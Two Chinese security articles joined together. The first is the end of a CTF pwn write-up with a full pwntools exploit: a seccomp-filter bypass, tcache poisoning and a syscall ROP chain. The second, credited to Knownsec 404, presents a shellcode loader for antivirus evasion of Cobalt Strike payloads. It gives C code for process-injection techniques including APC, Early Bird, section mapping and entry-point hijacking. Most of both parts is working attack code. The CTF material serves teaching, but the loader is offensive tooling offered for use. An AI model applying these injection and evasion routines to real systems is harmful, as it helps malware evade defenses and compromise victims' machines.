2. **BPF 的主要指令有** BPF_LD，BPF_ALU，BPF_JMP，BPF_RET 等。BPF_LD 将数据装入累加器，BPF_ALU 对累加器执行算术命令，BPF_JMP 是跳转指令，BPF_RET 是程序返回指令
3. **BPF 条件判断跳转指令** ：BPF_JMP、BPF_JEQ，根据后面的几个参数进行判断，然后跳转到相应的地方。
4. **返回指令** ：BPF_RET、BPF_K，返回后面参数的值
例如对于这题，构造的沙箱规则为：
struct sock_filter filter[] = {
BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 从第0个字节位置开始，加载读取系统调用号
BPF_JUMP(BPF_JMP|BPF_JEQ, 257, 1, 0), // 比较系统调用号是否为 257（257 是 openat 的系统调用），是就跳到第5行
BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0), // 比较系统调用号是否大于 0，是就跳到第6行
BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO), // 拒绝系统调用，返回 0
BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW), // 允许系统调用
};
* 对于 `SECCOMP_RET_ALLOW` 的解释如下，那么 `SECCOMP_RET_ERRNO` 相应的就是不执行系统调用。
相应的转换为 16 进制格式为：
\x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x01\x01\x00\x005\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f'
* 这里转换的过程可以自己用 C 写一个规则，然后在 gdb 调试中查看对应的数值。
如下，在栈上就可以看到相关过滤规则对应的具体的值，把他取出来就行了。
### seccomp-tools 工具
或者这边可以使用 github 上的一个[工具](https://github.com/david942j/seccomp-tools)：
用法很简单，直接 dump、asm 就行了，详细可以看 README 。看看原来的规则：
自己写一个 asm 脚本，然后把 **openat 系统调用** 返回改成 0（open 函数的会调用 openat 系统调用），其他系统调用都放行即可：
A = sys_number
A == openat ? ok:allow
ok:
return ERRNO(0)
allow:
return ALLOW
* 这里我们只能写最多 48/8 = 6 条规则。
接着调用 `seccomp-tools asm test3.asm` 就行：
## 解题步骤
根据上面的分析，我们在 become_vip 函数中， **根据那个溢出点** ，设置 prctl 函数的沙箱规则， **使得 openat
系统调用的返回值为 0 之后，我们就可以控制溢出的数据** 。
构造两个堆块，将后一个堆块 free 之后，从第一个堆块溢出到第二个块的 fd 指针（注意是 2.27 的环境），就能够达到任意地址读写的目的。我们无法调用
system 函数，但是可以使用 ROP 来进行系统调用读取 flag（open、read、write），这里我们就用任意地址写， **将 payload
直接写到栈上来控制返回地址** 。
### 构造沙箱规则
filter1 总共 40 个字节，我们可输入的为 48 个字节：
filter1 = '\x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x01\x01\x00\x005\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f'
sh.sendlineafter('choice: ', '6')
sh.sendafter('name: ', 'a' * 32 + filter1)
这时 edit 的时候，就可以发现这里的 **存在溢出点输入我们已经可控了** ，这里对应着下面覆盖 fd 指针的操作，使用 leak 可以正常泄露出
libc 地址了。
for i in range(5):
alloc(i)
delete(2)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
### 泄露 libc、栈地址
这个不多说，控制 fd 指针、使用 show 功能泄露 libc 地址。
delete(2)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('n', drop=True)
libc_addr = u64(result.ljust(8, '')) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))
delete(3)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
alloc(1)
alloc(2)
show(2)
经过调试可以发现 environ 变量的地址 **减去 0xf8 的地方就是 main 函数 rbp 的地址** 。
### 构造 ROP 链
在栈上构造 ROP 链的调用的顺序为：
fd = open('flag',0) --> read(fd,buf,0x100) --> write(1,buf,0x100) --> exit()
ROP 地址使用 ROPgadget 就可以找到，这里注意的是，在使用 syscall 汇编指令的时候， **调用号是存放在 eax 寄存器中**
，别的参数就和 64 位下的寄存器传参顺序一致。在 amd64 中，系统调用号可以在 `/usr/include/x86_64-linux-gnu/asm/unistd_64.h` 中找到。
layout = [
"flagx00x00x00x00", # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x00000000004018fb, # : pop rdi ; ret
stack_addr - 0xf8,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0,
0,
libc_addr + 0x00000000000439c8, # : pop rax ; ret
2, # sys_open
libc_addr + 0x00000000000d2975, # : syscall ; ret
0x00000000004018fb, # : pop rdi ; ret
3,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0x404800,
0,
libc_addr + 0x0000000000001b96, # : pop rdx ; ret
0x100,
elf.plt['read'],
0x00000000004018fb, # pop rdi
1,
0x00000000004018f9, # pop rsi
0x404800,
0,
libc_addr + 0x0000000000001b96, # pop rdx
0x50,
libc_addr + 0x00000000000439c8, # pop eax
1,
libc_addr + 0x00000000000d2975, #syscall
elf.plt['exit']
]
* 这里的 read、write 可以直接使用调用库函数 read_plt、puts_plt 来替代。
### send payload
在 main 函数退出时就会触发 exp，经过 ROP 之后就会输出 flag。
edit(2,0x100,flat(layout).ljust(0x100,"x00"))
sh.sendlineafter('choice: ', '5')
## Exploit
附上 Ex 师傅的 exp，这里改动了一点点：
# 考点：绕过 prctl 沙箱规则，栈上 ROP 的 syscall 调用
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
context.arch = 'amd64'
execve_file = './vip'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = process('./vip')
print pidof(sh)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
try:
gdbscript = '''
b *0x401898
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def alloc(index):
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('Index: ', str(index))
def edit(index, size, content):
sh.sendlineafter('choice: ', '4')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Content: ', content)
def delete(index):
sh.sendlineafter('choice: ', '3')
sh.sendlineafter('Index: ', str(index))
def show(index):
sh.sendlineafter('choice: ', '2')
sh.sendlineafter('Index: ', str(index))
filter1 = ' x00x00x00x00x00x00x00x15x00x01x00x01x01x00x005x00x01x00x00x00x00x00x06x00x00x00x00x00x05x00x06x00x00x00x00x00xffx7f'
sh.sendlineafter('choice: ', '6')
sh.sendafter('name: ', 'a' * 32 + filter1)
for i in range(5):
alloc(i)
delete(2)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('n', drop=True)
libc_addr = u64(result.ljust(8, '')) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))
delete(3)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('n', drop=True)
stack_addr = u64(result.ljust(8, ''))
success("stack_addr: " + hex(stack_addr))
delete(4)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 0xf8))
alloc(1)
alloc(2)
layout = [
"flagx00x00x00x00", # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x00000000004018fb, # : pop rdi ; ret
stack_addr - 0xf8,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0,
0,
libc_addr + 0x00000000000439c8, # : pop rax ; ret
2, # sys_open
libc_addr + 0x00000000000d2975, # : syscall ; ret
0x00000000004018fb, # : pop rdi ; ret
3,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0x404800,
0,
libc_addr + 0x0000000000001b96, # : pop rdx ; ret
0x100,
elf.plt['read'],
0x00000000004018fb, # pop rdi
1,
0x00000000004018f9, # pop rsi
0x404800,
0,
libc_addr + 0x0000000000001b96, # pop rdx
0x50,
libc_addr + 0x00000000000439c8, # pop eax
1,
libc_addr + 0x00000000000d2975, #syscall
elf.plt['exit']
]
edit(2,0x100,flat(layout).ljust(0x100,"x00"))
sh.sendlineafter('choice: ', '5')
sh.interactive()
## 总结
这个 prctl 函数的一些知识点还是挺有趣的，学到了不少东西，当然看了别的大佬的文章这道题好像还可以用爆破来做
orz…，[附上链接](https://www.anquanke.com/post/id/186187#h3-6)，师傅们 tql!!
## 参考文章
<https://code.woboq.org/userspace/include/linux/prctl.h.html>
<http://www.360doc.com/content/06/1026/17/13362_241408.shtml>
<https://blog.csdn.net/thinkinwm/article/details/8717668> | 社区文章 |
**作者：m0ngo0se@知道创宇404实验室
时间：2020年11月30日**
## 1.前言
shellcode由于可以随意地进行变化和还原，杀软的查杀难度较大。因此将木马shellcode化，再进行shellcode免杀是目前最流行的免杀方式之一。
但是就以Cobalt
Strike的shellcode免杀载荷常规的制作方式来说，需要将shellcode文本加密编码，放入源码想办法免杀，编译等过程太过繁琐，其中不少步骤耗时耗力，更换shellcode之后不少过程又需要重复进行。
本工具旨在解决shellcode载荷生成过程中多数重复性工作，降低免杀的工作时间，将更多的精力放在渗透或者发现新的免杀利用方式上。
本文提到的shellcodeLoader作为星链计划的一员开源，希望能给相关的安全从业者带来帮助。
<https://github.com/knownsec/shellcodeloader>
## 2.什么是shellcode？
shellcode是一种地址无关代码，只要给他EIP就能够开始运行，由于它不像PE有着复杂的结构，因此可以随意变化和复原，shellcode可使用多种语言进行开发，如需了解可[看这](https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html#resources)，但是shellcode的开发往往有着相同的步骤，如下图就是shellcode的常用套路。由于其被广泛的恶意使用，因此多数杀软厂商也会针对各种shellcode的特征做查杀。
## 3.需要什么样的加载器？
shellcode已经有了，但是还需要获得运行权限，而加载器就是为了顺利运行shellcode。由于shellcode的特征，加载器还需要达到下列要求才能够比较长久有效的实现对shellcode的加载。
* **需求一：对shellcode进行加密(加密的算法不重要，重要的是一定要加密)。**
* **需求二：尽可能实现生成的自动化，免去一些重复繁琐的工作。**
* **需求三：加载的方式尽可能多样，最好能够支持拓展。**
* **需求四：对于shellcode的大小、位数没有特殊要求。**
* **需求五：适当提供shellcode功能以外的额外选项，如自启动等。**
## 4.shellcode加载器的设计
通过上述的总结，我们基本确定了shellcode加载器的需求。
* 需求一：这个很容易实现，我们只需要将shellcode加密写入到加载器中，加载器对其按照指定方法进行解密即可。
* 需求二：通过文本方式加密处理shellcode费时费力，我们最好实现一个生成器，由它负责对shellcode的加密和写入，同时加密的密钥也可以自动随机生成，减少用户交互，同时实现一次一密，能够确保相同的shellcode加密出来的加载器的md5也不相同，达到更好的免杀效果。那么密钥也就必须写入加载器储存起来，加载器通过其中的密钥进行解密。
* 需求三：同一个生成器的前提下，不同加载方式的加载器应该保持一致的写入方式和获取shellcode的方式，否则会增加许多的判断代码，并且不利于拓展。我能想到的有三种方式：
1.将shellcode写入加载器文件的指定文件偏移，加载器在指定偏移获取。
2.将shellcode写入加载器的资源，加载器通过获取资源的函数获取。
3.将shellcode与加载器进行分离，直接放到同目录的一个文件，使用时就需要两个文件。或者加载器通过网络连接从服务器获取指定的shellcode。
* 需求四：由于shellcode的大小和不同加载方式的文件大小不尽相同，对于上述上个需求的解决方案中一方案就不太合适。不同的文件大小一个统一的文件偏移找起来就不是特别方便，拓展也需要注意很多问题。然后就二和三解决方案就是很好的实现方式，由于网络的方式我已经实现过一款了，本次选择资源加载。你当然还可以把他们综合到一个平台上。
* 需求五：这个也很简单，只需要在生成器增加选项，然后将配置文件写入加载器，加载器根据指定配置进行初始化运行即可。
通过众多权衡，我们容易发现，加载器和生成器的设计开发的核心就是 **保持一致**
，可以理解为统一的且易于实现的拓展接口。而通过资源写入shellcode和配置信息，加载再通过资源读出shellcode和配置信息即为最为简单易拓展的方式。生成器的运行流程大致如下：
写入该资源也不需要我们去解析资源的具体文件偏移，我们可以使用微软的UpdateResource()函数进行写入。其中resourceID就是写入的资源序号，可随意指定。
UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(resourceID), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, shellcodeSize)
而生成的加载器大致如下：
对于资源的获取，微软提供了很方便的函数，无需我们自己通过pe进行解析获取。
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(resourceID), RT_RCDATA);
DWORD totalSize = SizeofResource(NULL, hRsrc);
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
LPVOID pBuffer = LockResource(hGlobal);
FindResource()函数可以通过指定资源序号找到对应资源的资源句柄，其中的资源序号需要与写入时保持一致。
SizeofResource()函数即可该获取资源的总大小，我们可借此确定shellcode的大小。
LoadResource()，LockResource()函数即可获取我们写入的资源的首地址，其格式可以自由指定，但是一定要和生成器保持一致，同时最好将shellcode放在最后，因为shellcode大小往往是不确定的，这样shellcode前的配置信息就更容易获取。
由于资源的获取没有什么限制，因此拓展也非常简单，当发现一种新的shellcode加载的利用方式，只需要实现从指定的资源序号获取shellcode，并通过新的方式加载它即可。
## 5.加载方式
为了达到更为持久的免杀效果，需要尽可能多加载方式，一种失效了不好免杀，还有更多的可以使用，网上的加载方式已经有许多了，同时他们彼此间往往还可以进行组合，因此加载方式是非常多的。以下是我在网络上搜集的shellcode加载方式。
### 直接加载类
#### CreateThreadpoolWait加载
CreateThreadpoolWait可以创建一个等待对象，该等待对象的回调会在设置的事件对象成为signaled状态或超时时运行，所以我们可借此加载shellcode。
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)Memory, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
1. 首先通过CreateEvent函数创建一个signaled的事件对象，也就是第三个参数必须为TRUE。否则shellcode将不会得到执行，且进程将一直等待下去。
2. 使用CreateThreadpoolWait函数创建一个线程池等待回调，我们只需要关心第一个参数也就是等待完成或者超时后要执行的回调函数，这里我们将该回调函数设置为shellcode。
3. 使用SetThreadpoolWait函数将等待对象和第一步创建的句柄绑定，一个等待对象只能等待几个句柄。当句柄对象变成signaled或超时后会执行等待对象的回调函数。
4. 使用WaitForSingleObject对第一步的事件对象进行等待。由于我们的事件对象本身就是signaled的，所以设置的回调函数会立马得到执行。如此就执行了shellcode。
#### Fiber加载
纤程是基本的执行单元，其必须有由应用程序进行手动调度。纤程在对其进行调度的线程的上下文中运行。一般来说每个线程可调度多个纤程。
PVOID mainFiber = ConvertThreadToFiber(NULL);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)Memory, NULL);
SwitchToFiber(shellcodeFiber);
DeleteFiber(shellcodeFiber);
1. 首先使用ConvertThreadToFiber函数将主线程转换为主纤程。如果线程只有一个纤程是不需要进行转换的，但是如果要使用CreateFiber创建多个纤程进行切换调度，则必须使用该函数进行转换。否则在使用SwitchToFiber函数切换时就会出现访问错误。
2. 创建一个指向shellcode的地址的纤程。
3. 切换至shellcode的纤程开始执行shellcode。
#### NtTestAlert加载
NtTestAlert是一个未公开的Win32函数，该函数的效果是如果APC队列不为空的话，其将会直接调用函数KiUserApcDispatcher处理用户APC，如此一来排入的APC可以立马得到运行。
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)Memory;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
NtTestAlert();
1. 首先从ntdll.dll中获取函数NtTestAlert
2. 排入一个指向shellcode的APC到当前线程
3. 执行函数NtTestAlert将会直接执行shellcode
#### SEH异常加载
SEH(Structured Exception
Handling)结构化异常处理,是windows操作系统默认的错误处理机制，它允许我们在程序产所错误时使用特定的异常处理函数处理这个异常，尽管提供的功能预取为处理异常，但由于其功能的特点，也往往大量用于反调试。
int* p = 0x00000000;
_try
{
*p = 13;
}
_except(ExceptFilter())
{
};
可以使用C/C++的结构化异常处理获得执行流程，将我们的shellcode执行放入异常处理或者异常过滤中，然后触发一个简单的异常，程序就会开始执行我们的shellcode。如下是异常过滤函数，直接执行shellcode即可，当然你也可以将所有的操作放入该函数中。
#### TLS回调加载
TLS提供了一个回调函数，在线程程初始化和终止的时候都会调用，由于回调函数会在入口点(OEP)前执行，而调试器通常会默认在主函数入口点main设置断点，所以常常被用来作为反调试手段使用，同时回调函数允许我们自由编写任意代码，TLS分为静态TLS和动态TLS，静态TLS会把TLS相关数据硬编码在PE文件内。
VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
//这里进行前三步的初始化
memcpy(Memory, (char *)pBuffer + sizeof(CONFIG), totalSize - sizeof(CONFIG));
StreamCrypt((unsigned char*)Memory, totalSize - sizeof(CONFIG), config.key, 128);
}
}
因此我们可以将shellcode加载的前三步准备工作放入TLS回调中，在其完成后，在main函数中直接执行shellcode即可。该方式不支持64位。
#### 动态加载
直接加载的方式是直接调用需要的函数，最终编译的文件中所有需要的函数会在其导入表，运行时也就需要导入表找到对应函数的地址。因此导入表会暴露许多信息，而许多杀软就会针对导入表进行检测。动态加载则是动态的获取需要的函数，因此导入表是不会存在许多需要调用的函数的。
//0.获取函数
HMODULE hkmodule = GetModuleHandle(L"kernel32.dll");
pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(hkmodule, "VirtualAlloc");
pfnFindResourceW fnFindResourceW=(pfnFindResourceW)GetProcAddress(hkmodule, "FindResourceW");
pfnSizeofResource fnSizeofResource=(pfnSizeofResource)GetProcAddress(hkmodule, "SizeofResource");
pfnLoadResource fnLoadResource=(pfnLoadResource)GetProcAddress(hkmodule, "LoadResource");
pfnLockResource fnLockResource=(pfnLockResource)GetProcAddress(hkmodule, "LockResource");
本方法和直接加载使用的函数是一样的，只不过通过GetModuleHandle和GetProcAddress函数获取所需要的函数，更进一步可以对函数名进行加密等操作可以达到更好的效果。
#### 动态加载plus
本方式和动态加载的核心原理是一样的，动态获取需要的函数在进行执行，不过动态获取的方式不再是使用GetModuleHandle和GetProcAddress函数，而是自己从peb获取kernel32.dll基址，然后根据其导出表获取需要的函数。该方式不支持64位。
ULONGLONG GetKernelFunc(char *funname)
{
ULONGLONG kernel32moudle = GetKernel32Moudle();
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)kernel32moudle;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(kernel32moudle + pDos->e_lfanew);
PIMAGE_DATA_DIRECTORY pExportDir = pNt->OptionalHeader.DataDirectory;
pExportDir = &(pExportDir[IMAGE_DIRECTORY_ENTRY_EXPORT]);
DWORD dwOffest = pExportDir->VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(kernel32moudle + dwOffest);
DWORD dwFunCount = pExport->NumberOfFunctions;
DWORD dwFunNameCount = pExport->NumberOfNames;
DWORD dwModOffest = pExport->Name;
PDWORD pEAT = (PDWORD)(kernel32moudle + pExport->AddressOfFunctions);
PDWORD pENT = (PDWORD)(kernel32moudle + pExport->AddressOfNames);
PWORD pEIT = (PWORD)(kernel32moudle + pExport->AddressOfNameOrdinals);
for (DWORD dwOrdinal = 0; dwOrdinal<dwFunCount; dwOrdinal++)
{
if (!pEAT[dwOrdinal])
{
continue;
}
DWORD dwID = pExport->Base + dwOrdinal;
DWORD dwFunAddrOffest = pEAT[dwOrdinal];
for (DWORD dwIndex = 0; dwIndex<dwFunNameCount; dwIndex++)
{
if (pEIT[dwIndex] == dwOrdinal)
{
DWORD dwNameOffest = pENT[dwIndex];
char* pFunName = (char*)((DWORD)kernel32moudle + dwNameOffest);
if (!strcmp(pFunName, funname))
{
return kernel32moudle + dwFunAddrOffest;
}
}
}
}
return 0;
}
#### 系统call加载
许多杀软通过ring3层的API
hook获取软件运行时的具体参数和结果，因此可以捕捉软件运行的具体行为，这也是函数序列查杀的实现方式之一，但是可以通过重写ring3层的函数，直接调用系统内核的函数进行绕过，如此一来杀软下的hook并没有什么用，因为我们就没调用。尽管syscall的大部分都是一致的，但是其最核心的系统调用号在不同版本的机器上都不尽相同，因此只要解决了该核心问题，我们就可以重写ring3层需要的函数。
pNtAllocateVirtualMemory fnNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetSyscallStub("NtAllocateVirtualMemory");
LPVOID Memory = NULL;
SIZE_T uSize = totalSize - sizeof(CONFIG);
HANDLE hProcess = GetCurrentProcess();
NTSTATUS status = fnNtAllocateVirtualMemory(hProcess, &Memory, 0, &uSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (status != 0)
{
return 0;
}
memcpy(Memory, (unsigned char*)pBuffer + sizeof(CONFIG), totalSize - sizeof(CONFIG));
StreamCrypt((unsigned char*)Memory, totalSize - sizeof(CONFIG), config.key, 128);
//4.执行shellcode
((void(*)())Memory)();
本方式使用系统直接call分配内存然后加载shellcode，该方式不支持32位。
1. 首先获取需要的函数NtAllocateVirtualMemory，其系统调用号在不同版本的机器上也不同，所以需要根据ntdll.dll动态获取其系统调用号。
2. 然后使用当前进程的句柄分配内存。
3. 执行shellcode。
### 注入类
#### APC注入
当系统创建一个线程的时候，会同时创建一个与线程相关的队列。这个队列被叫做异步过程调用(APC)队列。为了对线程中的APC队列中的项进行处理，线程必须
将自己设置为可提醒状态，只不过意味着我们的线程在执行的时候已经到达了一个点，在这个点上它能够处理被中断的情况，下边的六个函数能将线程设置为可提醒状态：SleepEx，WaitForSingleObjectEx，WaitForMultipleOBjectsEx，SingalObjectAndWait，GetQueuedCompletionStatusEx，MsgWaitForMultipleObjectsEx当我们调用上边的六个函数之一并将线程设置为可提醒状态的时候，系统首先会检查线程的APC队列，如果队列中至少有一项，那么系统就会开始执行APC队列中的对应的回调函数，然后清除该队列，等待返回。
本方式是经典的注入方式---APC注入。由于APC注入的限制，最好选择多线程的进程进行注入，本例选择了notepad.exe进行注入。
for (DWORD threadId : threadIds)
{
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
1. 首先获取当前进程和线程的快照
2. 根据进程名获打开指定进程的句柄，并在其进程空间写入shellcode
3. 将该进程的所有线程排入指向shellcode的APC
#### Early Brid APC注入
每个用户模式线程都在LdrInitializeThunk函数处开始执行，但是该函数有着如此的调用链：LdrInitializeThunk→LdrpInitialize→_LdrpInitialize→NtTestAlert→KiUserApcDispatcher，因此尽管有着APC注入的限制，但是shellcode依然能够在恢复线程的时候立马得到运行。由于它在线程初始化的非常早期阶段就加载了恶意代码，而随后许多安全产品都将其挂入钩子，这使恶意软件得以执行其恶意行为而不会被检测到。
SIZE_T shellSize = totalSize - sizeof(CONFIG);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buffer, shellSize, NULL);
delete[] buffer;
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
1. 首先以挂起方式创建要注入的进程
2. 获取创建的进程的进程句柄和主线程句柄
3. 向其进程空间写入shellcode，并在主线程插入执行shellcode的APC
4. 恢复主线程，shellcode得到执行
#### NtCreateSection注入
节是一种进程间的共享内存，可以使用NtCreateSection进行创建，进程在读写该共享内存钱，必须使用NtMapViewOfSection函数进行映射，多个进程可以通过映射的内存读写该节。
SIZE_T size = shellcodeSize;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &processEntry))
{
while (_wcsicmp(processEntry.szExeFile, L"notepad.exe") != 0)
{
Process32Next(snapshot, &processEntry);
}
}
DWORD targetPID = processEntry.th32ProcessID;
HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, targetPID);
fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);
memcpy(localSectionAddress, buffer, shellcodeSize);
delete[] buffer;
HANDLE targetThreadHandle = NULL;
fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
1. 首先通过NtCreateSection在本进程控件创建一个可读可写可执行的内存节。
2. 将创建的节映射到本进程，权限为可读可写。
3. 在目标进程也映射该节，权限为可读可执行即可。
4. 将shellcode复制入本地映射的内存节,由于该节是共享的，因此目标进程中的该节也会是这串shellcode。
5. 在目标进程中创建一个远程线程执行shellcode。
#### 入口点劫持注入
众所周知，PE中存在一个入口点，这个入口点正是进程开始执行的地方,所以我们可以通过更改内存中入口点的内容来运行我们的shellcode。由于存在ALSR，入口点还需要加上映像基址，所以我们可以找到内存中的入口点，再将其入口点的位置写入shellcode，即可获取进程的执行权限。
STARTUPINFOA si;
si = {};
PROCESS_INFORMATION pi = {};
PROCESS_BASIC_INFORMATION pbi = {};
#ifdef _M_X64
DWORD returnLength = 0;
CreateProcessA(0, (LPSTR)"c:\\windows\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
LONGLONG imageBaseOffset = (LONGLONG)pbi.PebBaseAddress + 16;
LPVOID imageBase = 0;
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBaseOffset, &imageBase, 8, NULL);
BYTE headersBuffer[4096] = {};
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (LONGLONG)imageBase);
#else
DWORD returnLength = 0;
CreateProcessA(0, (LPSTR)"c:\\windows\\system32\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
DWORD imageBaseOffset = (DWORD)pbi.PebBaseAddress + 8;
LPVOID imageBase = 0;
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBaseOffset, &imageBase, 4, NULL);
BYTE headersBuffer[4096] = {};
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD)imageBase);
#endif // x64
WriteProcessMemory(pi.hProcess, codeEntry, buffer,shellcodeSize, NULL);
delete[] buffer;
ResumeThread(pi.hThread);
1. 首先以挂起的形式创建要注入的进程。
2. 从进程基本信息中获取映像基址。
3. 从映像基址中读取PE头信息，再从NT头中获取入口点（该入口点也可以直接从文件中获取），加上获取的映像基址得到真的入口点。
4. 再入口点写入shellcode，然后恢复线程即可开始执行shellcode。
#### 线程劫持注入
每个进程真正运行的其实是其中的多个线程，每个线程的EIP/RIP指针总是指向着当时的运行点，因此我们只要获取该运行点就相当于获取了线程的执行权限。
